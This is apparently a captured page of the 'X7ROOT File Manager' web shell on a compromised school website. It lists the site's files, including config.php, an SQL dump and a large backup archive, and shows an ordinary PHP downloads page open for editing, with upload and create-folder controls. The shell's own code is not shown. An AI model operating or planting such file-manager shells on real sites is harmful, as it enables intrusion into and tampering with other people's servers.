X7ROOT File Manager
Current Path:
/home/u126090504/domains/kiitacademy.in/public_html
home
/
u126090504
/
domains
/
kiitacademy.in
/
public_html
/
📄
+2-Arts&Commerce.php
(6.81 KB)
📁
..
📄
.htaccess
(1.12 KB)
📄
about-us.php
(9.37 KB)
📄
achievers.php
(3.36 KB)
📁
admin
📄
admission.php
(4.92 KB)
📄
admission_submit.php
(1.48 KB)
📄
album.php
(890 B)
📄
cleanup_README.txt
(1.25 KB)
📄
computer-courses.php
(22.83 KB)
📄
config.php
(1.21 KB)
📄
contact-us.php
(8.19 KB)
📄
contactdb.php
(796 B)
📁
css
📄
director's-message.php
(4.53 KB)
📄
downloads.php
(3.14 KB)
📄
error.log
(13.82 KB)
📄
facilities.php
(13.29 KB)
📄
faculty.php
(3.56 KB)
📁
fonts
📄
footer.php
(5.7 KB)
📄
franchise.php
(2.09 KB)
📄
gallery.php
(3.32 KB)
📄
header.php
(11.92 KB)
📁
images
📄
index.php
(39.44 KB)
📁
js
📁
kiit
📄
kiit-backup.zip
(85.95 MB)
📁
lib
📄
media.php
(2.76 KB)
📄
payment.php
(8.88 KB)
📄
payment_submit.php
(10.97 KB)
📄
payment_verify.php
(2.31 KB)
📄
peret.php
(266.87 KB)
📁
qrcodes
📁
revolution
📄
search_videos.php
(1.76 KB)
📄
secure_upload.php
(2.87 KB)
📄
showpath.php
(107 B)
📄
u721653068_kiitinst25.sql
(17.4 KB)
📁
uploads
📄
videos.php
(4.38 KB)
Editing: downloads.php
<?php require_once 'config.php'; include 'header.php'; ?> <!-- page-title --> <div class="ttm-page-title-row"> <div class="ttm-page-title-row-inner ttm-textcolor-white"> <div class="container"> <div class="row align-items-center"> <div class="col-lg-12"> <div class="page-title-heading"> <h2 class="title">Downloads</h2> </div> <div class="breadcrumb-wrapper"> <span><a title="Homepage" href="index.php">Home</a></span> <span class="ttm-bread-sep"> > </span> <span class="current">Downloads</span> </div> </div> </div> </div> </div> </div><!-- page-title end--> <!-- site-main start --> <div class="site-main"> <section style="margin-top:5%;"> <div class="container"> <div class="row"> <div class="col-md-12"> <div class="bs-example"> <table class="table table-bordered table-striped"> <thead class="thead-dark"> <tr> <th>SL NO</th> <th style="text-align: center;">SUBJECT</th> <th>DOWNLOAD</th> </tr> </thead> <tbody> <?php $res = $conn->query("SELECT * FROM downloads ORDER BY id DESC"); if ($res->num_rows > 0) { $sl = 1; while ($row = $res->fetch_assoc()) { $subject = htmlspecialchars($row['subject']); $fileUrl = "uploads/downloads/" . htmlspecialchars($row['file_name']); $ext = strtolower(pathinfo($row['file_name'], PATHINFO_EXTENSION)); // Default icon logic if ($ext === "pdf") { $icon = "<img src='images/pd.png' alt='PDF' style='height:40px;'>"; } elseif ($ext === "doc" || $ext === "docx") { $icon = "<img src='images/doc.png' alt='DOC' style='height:40px;'>"; } elseif (in_array($ext, ["jpg","jpeg","png"])) { $icon = "<img src='{$fileUrl}' alt='Image' style='height:40px;border-radius:5px;'>"; } else { $icon = "<img src='images/file.png' alt='File' style='height:40px;'>"; } echo "<tr> <td>{$sl}</td> <td style='font-weight: bold; font-size: 18px; text-align: center;'>{$subject}</td> <td><a href='{$fileUrl}' target='_blank' download>{$icon}</a></td> </tr>"; $sl++; } } else { echo "<tr><td colspan='3' class='text-center'>No downloads available</td></tr>"; } ?> </tbody> </table> </div> </div> </div> </div> </section> </div> <?php include("footer.php"); ?>
Upload File
Create Folder